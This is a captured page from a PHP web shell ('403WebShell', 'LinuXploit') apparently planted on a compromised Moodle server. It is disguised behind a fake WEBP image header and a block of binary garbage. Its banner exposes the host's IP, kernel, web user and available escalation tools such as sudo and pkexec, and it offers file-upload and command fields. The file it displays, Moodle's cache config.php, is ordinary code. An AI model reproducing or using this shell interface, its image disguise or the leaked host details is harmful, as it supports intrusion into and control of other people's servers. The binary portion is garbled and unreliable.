....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 41.207.40.59  /  Your IP : 216.73.216.58
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux srv-prod 5.15.0-157-generic #167-Ubuntu SMP Wed Sep 17 21:35:53 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/formation/cache/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/html/formation/cache/classes/config.php
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core_cache;

use core_cache\exception\cache_exception;

/**
 * Cache configuration reader.
 *
 * This class is used to interact with the cache's configuration.
 * The configuration is stored in the Moodle data directory.
 *
 * @package    core_cache
 * @category   cache
 * @copyright  2012 Sam Hemelryk
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class config {
    /**
     * The configured stores
     * @var array
     */
    protected $configstores = [];

    /**
     * The configured mode mappings
     * @var array
     */
    protected $configmodemappings = [];

    /**
     * The configured definitions as picked up from cache.php files
     * @var array
     */
    protected $configdefinitions = [];

    /**
     * The definition mappings that have been configured.
     * @var array
     */
    protected $configdefinitionmappings = [];

    /**
     * An array of configured cache lock instances.
     * @var array
     */
    protected $configlocks = [];

    /**
     * The site identifier used when the cache config was last saved.
     * @var string
     */
    protected $siteidentifier = null;

    /**
     * Please use config::instance to get an instance of the cache config that is ready to be used.
     */
    public function __construct() {
        // Nothing to do here but look pretty.
    }

    /**
     * Gets an instance of the cache config class.
     *
     * @return self
     */
    public static function instance() {
        $factory = factory::instance();
        return $factory->create_config_instance();
    }

    /**
     * Checks if the configuration file exists.
     *
     * @return bool True if it exists
     */
    public static function config_file_exists() {
        // Allow for late static binding by using static.
        return file_exists(static::get_config_file_path());
    }

    /**
     * Returns the expected path to the configuration file.
     *
     * @return string The absolute path
     */
    protected static function get_config_file_path() {
        global $CFG;
        if (!empty($CFG->altcacheconfigpath)) {
            $path = $CFG->altcacheconfigpath;
            if (is_dir($path) && is_writable($path)) {
                // Its a writable directory, thats fine.
                return $path . '/cacheconfig.php';
            } else if (is_writable(dirname($path)) && (!file_exists($path) || is_writable($path))) {
                // Its a file, either it doesn't exist and the directory is writable or the file exists and is writable.
                return $path;
            }
        }
        // Return the default location within dataroot.
        return $CFG->dataroot . '/muc/config.php';
    }

    /**
     * Loads the configuration file and parses its contents into the expected structure.
     *
     * @param array|false $configuration Can be used to force a configuration. Should only be used when truly required.
     * @return boolean
     */
    public function load($configuration = false) {
        global $CFG;

        if ($configuration === false) {
            $configuration = $this->include_configuration();
        }

        $this->configstores = [];
        $this->configdefinitions = [];
        $this->configlocks = [];
        $this->configmodemappings = [];
        $this->configdefinitionmappings = [];

        $siteidentifier = 'unknown';
        if (array_key_exists('siteidentifier', $configuration)) {
            $siteidentifier = $configuration['siteidentifier'];
        }
        $this->siteidentifier = $siteidentifier;

        // Filter the lock instances.
        $defaultlock = null;
        foreach ($configuration['locks'] as $conf) {
            if (!is_array($conf)) {
                // Something is very wrong here.
                continue;
            }
            if (!array_key_exists('name', $conf)) {
                // Not a valid definition configuration.
                continue;
            }
            $name = $conf['name'];
            if (array_key_exists($name, $this->configlocks)) {
                debugging('Duplicate cache lock detected. This should never happen.', DEBUG_DEVELOPER);
                continue;
            }
            $conf['default'] = (!empty($conf['default']));
            if ($defaultlock === null || $conf['default']) {
                $defaultlock = $name;
            }
            $this->configlocks[$name] = $conf;
        }

        // Filter the stores.
        $availableplugins = helper::early_get_cache_plugins();
        foreach ($configuration['stores'] as $store) {
            if (!is_array($store) || !array_key_exists('name', $store) || !array_key_exists('plugin', $store)) {
                // Not a valid instance configuration.
                debugging('Invalid cache store in config. Missing name or plugin.', DEBUG_DEVELOPER);
                continue;
            }
            $plugin = $store['plugin'];
            $class = 'cachestore_' . $plugin;
            $exists = array_key_exists($plugin, $availableplugins);
            if (!$exists) {
                // Not a valid plugin, or has been uninstalled, just skip it an carry on.
                debugging('Invalid cache store in config. Not an available plugin.', DEBUG_DEVELOPER);
                continue;
            }
            $file = $CFG->dirroot . '/cache/stores/' . $plugin . '/lib.php';
            if (!class_exists($class) && file_exists($file)) {
                require_once($file);
            }
            if (!class_exists($class)) {
                continue;
            }
            if (!array_key_exists(store::class, class_parents($class))) {
                continue;
            }
            if (!array_key_exists('configuration', $store) || !is_array($store['configuration'])) {
                $store['configuration'] = [];
            }
            $store['class'] = $class;
            $store['default'] = !empty($store['default']);
            if (!array_key_exists('lock', $store) || !array_key_exists($store['lock'], $this->configlocks)) {
                $store['lock'] = $defaultlock;
            }

            $this->configstores[$store['name']] = $store;
        }

        // Filter the definitions.
        foreach ($configuration['definitions'] as $id => $conf) {
            if (!is_array($conf)) {
                // Something is very wrong here.
                continue;
            }
            if (!array_key_exists('mode', $conf) || !array_key_exists('component', $conf) || !array_key_exists('area', $conf)) {
                // Not a valid definition configuration.
                continue;
            }
            if (array_key_exists($id, $this->configdefinitions)) {
                debugging('Duplicate cache definition detected. This should never happen.', DEBUG_DEVELOPER);
                continue;
            }
            $conf['mode'] = (int)$conf['mode'];
            if ($conf['mode'] < store::MODE_APPLICATION || $conf['mode'] > store::MODE_REQUEST) {
                // Invalid cache mode used for the definition.
                continue;
            }
            if ($conf['mode'] === store::MODE_SESSION || $conf['mode'] === store::MODE_REQUEST) {
                // We force this for session and request caches.
                // They are only allowed to use the default as we don't want people changing them.
                $conf['sharingoptions'] = definition::SHARING_DEFAULT;
                $conf['selectedsharingoption'] = definition::SHARING_DEFAULT;
                $conf['userinputsharingkey'] = '';
            } else {
                // Default the sharing option as it was added for 2.5.
                // This can be removed sometime after 2.5 is the minimum version someone can upgrade from.
                if (!isset($conf['sharingoptions'])) {
                    $conf['sharingoptions'] = definition::SHARING_DEFAULTOPTIONS;
                }
                // Default the selected sharing option as it was added for 2.5.
                // This can be removed sometime after 2.5 is the minimum version someone can upgrade from.
                if (!isset($conf['selectedsharingoption'])) {
                    $conf['selectedsharingoption'] = definition::SHARING_DEFAULT;
                }
                // Default the user input sharing key as it was added for 2.5.
                // This can be removed sometime after 2.5 is the minimum version someone can upgrade from.
                if (!isset($conf['userinputsharingkey'])) {
                    $conf['userinputsharingkey'] = '';
                }
            }
            $this->configdefinitions[$id] = $conf;
        }

        // Filter the mode mappings.
        foreach ($configuration['modemappings'] as $mapping) {
            if (!is_array($mapping) || !array_key_exists('mode', $mapping) || !array_key_exists('store', $mapping)) {
                // Not a valid mapping configuration.
                debugging('A cache mode mapping entry is invalid.', DEBUG_DEVELOPER);
                continue;
            }
            if (!array_key_exists($mapping['store'], $this->configstores)) {
                // Mapped array instance doesn't exist.
                debugging('A cache mode mapping exists for a mode or store that does not exist.', DEBUG_DEVELOPER);
                continue;
            }
            $mapping['mode'] = (int)$mapping['mode'];
            if ($mapping['mode'] < 0 || $mapping['mode'] > 4) {
                // Invalid cache type used for the mapping.
                continue;
            }
            if (!array_key_exists('sort', $mapping)) {
                $mapping['sort'] = 0;
            }
            $this->configmodemappings[] = $mapping;
        }

        // Filter the definition mappings.
        foreach ($configuration['definitionmappings'] as $mapping) {
            if (!is_array($mapping) || !array_key_exists('definition', $mapping) || !array_key_exists('store', $mapping)) {
                // Not a valid mapping configuration.
                continue;
            }
            if (!array_key_exists($mapping['store'], $this->configstores)) {
                // Mapped array instance doesn't exist.
                continue;
            }
            if (!array_key_exists($mapping['definition'], $this->configdefinitions)) {
                // Mapped array instance doesn't exist.
                continue;
            }
            if (!array_key_exists('sort', $mapping)) {
                $mapping['sort'] = 0;
            }
            $this->configdefinitionmappings[] = $mapping;
        }

        usort($this->configmodemappings, [$this, 'sort_mappings']);
        usort($this->configdefinitionmappings, [$this, 'sort_mappings']);

        return true;
    }

    /**
     * Returns the site identifier used by the cache API.
     * @return string
     */
    public function get_site_identifier() {
        return $this->siteidentifier;
    }

    /**
     * Includes the configuration file and makes sure it contains the expected bits.
     *
     * You need to ensure that the config file exists before this is called.
     *
     * @return array
     * @throws cache_exception
     */
    protected function include_configuration() {
        $configuration = null;
        // We need to allow for late static bindings to allow for class path mudling happending for unit tests.
        $cachefile = static::get_config_file_path();

        if (!file_exists($cachefile)) {
            throw new cache_exception('Default cache config could not be found. It should have already been created by now.');
        }

        if (!include($cachefile)) {
            throw new cache_exception('Unable to load the cache configuration file');
        }

        if (!is_array($configuration)) {
            throw new cache_exception('Invalid cache configuration file');
        }
        if (!array_key_exists('stores', $configuration) || !is_array($configuration['stores'])) {
            $configuration['stores'] = [];
        }
        if (!array_key_exists('modemappings', $configuration) || !is_array($configuration['modemappings'])) {
            $configuration['modemappings'] = [];
        }
        if (!array_key_exists('definitions', $configuration) || !is_array($configuration['definitions'])) {
            $configuration['definitions'] = [];
        }
        if (!array_key_exists('definitionmappings', $configuration) || !is_array($configuration['definitionmappings'])) {
            $configuration['definitionmappings'] = [];
        }
        if (!array_key_exists('locks', $configuration) || !is_array($configuration['locks'])) {
            $configuration['locks'] = [];
        }

        return $configuration;
    }

    /**
     * Used to sort cache config arrays based upon a sort key.
     *
     * Highest number at the top.
     *
     * @param array $a
     * @param array $b
     * @return int
     */
    protected function sort_mappings(array $a, array $b) {
        if ($a['sort'] == $b['sort']) {
            return 0;
        }
        return ($a['sort'] < $b['sort']) ? 1 : -1;
    }

    /**
     * Gets a definition from the config given its name.
     *
     * @param string $id
     * @return bool
     */
    public function get_definition_by_id($id) {
        if (array_key_exists($id, $this->configdefinitions)) {
            return $this->configdefinitions[$id];
        }
        return false;
    }

    /**
     * Returns all the known definitions.
     *
     * @return array
     */
    public function get_definitions() {
        return $this->configdefinitions;
    }

    /**
     * Returns the definitions mapped into the given store name.
     *
     * @param string $storename
     * @return array Associative array of definitions, id=>definition
     */
    public function get_definitions_by_store($storename) {
        $definitions = [];

        // This function was accidentally made static at some stage in the past.
        // It was converted to an instance method but to be backwards compatible
        // we must step around this in code.
        if (!isset($this)) {
            $config = self::instance();
        } else {
            $config = $this;
        }

        $stores = $config->get_all_stores();
        if (!array_key_exists($storename, $stores)) {
            // The store does not exist.
            return false;
        }

        $defmappings = $config->get_definition_mappings();
        // Create an associative array for the definition mappings.
        $thedefmappings = [];
        foreach ($defmappings as $defmapping) {
            $thedefmappings[$defmapping['definition']] = $defmapping;
        }

        // Search for matches in default mappings.
        $defs = $config->get_definitions();
        foreach ($config->get_mode_mappings() as $modemapping) {
            if ($modemapping['store'] !== $storename) {
                continue;
            }
            foreach ($defs as $id => $definition) {
                if ($definition['mode'] !== $modemapping['mode']) {
                    continue;
                }
                // Exclude custom definitions mapping: they will be managed few lines below.
                if (array_key_exists($id, $thedefmappings)) {
                    continue;
                }
                $definitions[$id] = $definition;
            }
        }

        // Search for matches in the custom definitions mapping.
        foreach ($defmappings as $defmapping) {
            if ($defmapping['store'] !== $storename) {
                continue;
            }
            $definition = $config->get_definition_by_id($defmapping['definition']);
            if ($definition) {
                $definitions[$defmapping['definition']] = $definition;
            }
        }

        return $definitions;
    }

    /**
     * Returns all of the stores that are suitable for the given mode and requirements.
     *
     * @param int $mode One of store::MODE_*
     * @param int $requirements The requirements of the cache as a binary flag
     * @return array An array of suitable stores.
     */
    public function get_stores($mode, $requirements = 0) {
        $stores = [];
        foreach ($this->configstores as $name => $store) {
            // If the mode is supported and all of the requirements are provided features.
            if (($store['modes'] & $mode) && ($store['features'] & $requirements) === $requirements) {
                $stores[$name] = $store;
            }
        }
        return $stores;
    }

    /**
     * Gets all of the stores that are to be used for the given definition.
     *
     * @param definition $definition
     * @return array<store>
     */
    public function get_stores_for_definition(definition $definition) {
        // Check if MUC has been disabled.
        $factory = factory::instance();
        if ($factory->stores_disabled()) {
            // Yip its been disabled.
            // To facilitate this we are going to always return an empty array of stores to use.
            // This will force all cache instances to use the cachestore_dummy.
            // MUC will still be used essentially so that code using it will still continue to function but because no cache stores
            // are being used interaction with MUC will be purely based around a static var.
            return [];
        }

        $availablestores = $this->get_stores($definition->get_mode(), $definition->get_requirements_bin());
        $stores = [];
        $id = $definition->get_id();

        // Now get any mappings and give them priority.
        foreach ($this->configdefinitionmappings as $mapping) {
            if ($mapping['definition'] !== $id) {
                continue;
            }
            $storename = $mapping['store'];
            if (!array_key_exists($storename, $availablestores)) {
                continue;
            }
            if (array_key_exists($storename, $stores)) {
                $store = $stores[$storename];
                unset($stores[$storename]);
                $stores[$storename] = $store;
            } else {
                $stores[$storename] = $availablestores[$storename];
            }
        }

        if (empty($stores) && !$definition->is_for_mappings_only()) {
            $mode = $definition->get_mode();
            // Load the default stores.
            foreach ($this->configmodemappings as $mapping) {
                if ($mapping['mode'] === $mode && array_key_exists($mapping['store'], $availablestores)) {
                    $store = $availablestores[$mapping['store']];
                    if (empty($store['mappingsonly'])) {
                        $stores[$mapping['store']] = $store;
                    }
                }
            }
        }

        return $stores;
    }

    /**
     * Returns all of the configured stores
     * @return array
     */
    public function get_all_stores() {
        return $this->configstores;
    }

    /**
     * Returns all of the configured mode mappings
     * @return array
     */
    public function get_mode_mappings() {
        return $this->configmodemappings;
    }

    /**
     * Returns all of the known definition mappings.
     * @return array
     */
    public function get_definition_mappings() {
        return $this->configdefinitionmappings;
    }

    /**
     * Returns an array of the configured locks.
     * @return array Array of name => config
     */
    public function get_locks() {
        return $this->configlocks;
    }

    /**
     * Returns the lock store configuration to use with a given store.
     * @param string $storename
     * @return array
     * @throws cache_exception
     */
    public function get_lock_for_store($storename) {
        if (array_key_exists($storename, $this->configstores)) {
            if (array_key_exists($this->configstores[$storename]['lock'], $this->configlocks)) {
                $lock = $this->configstores[$storename]['lock'];
                return $this->configlocks[$lock];
            }
        }
        return $this->get_default_lock();
    }

    /**
     * Gets the default lock instance.
     *
     * @return array
     * @throws cache_exception
     */
    public function get_default_lock() {
        foreach ($this->configlocks as $lockconf) {
            if (!empty($lockconf['default'])) {
                return $lockconf;
            }
        }
        throw new cache_exception('ex_nodefaultlock');
    }
}

// Alias this class to the old name.
// This file will be autoloaded by the legacyclasses autoload system.
// In future all uses of this class will be corrected and the legacy references will be removed.
class_alias(config::class, \cache_config::class);

Youez - 2016 - github.com/yon3zu
LinuXploit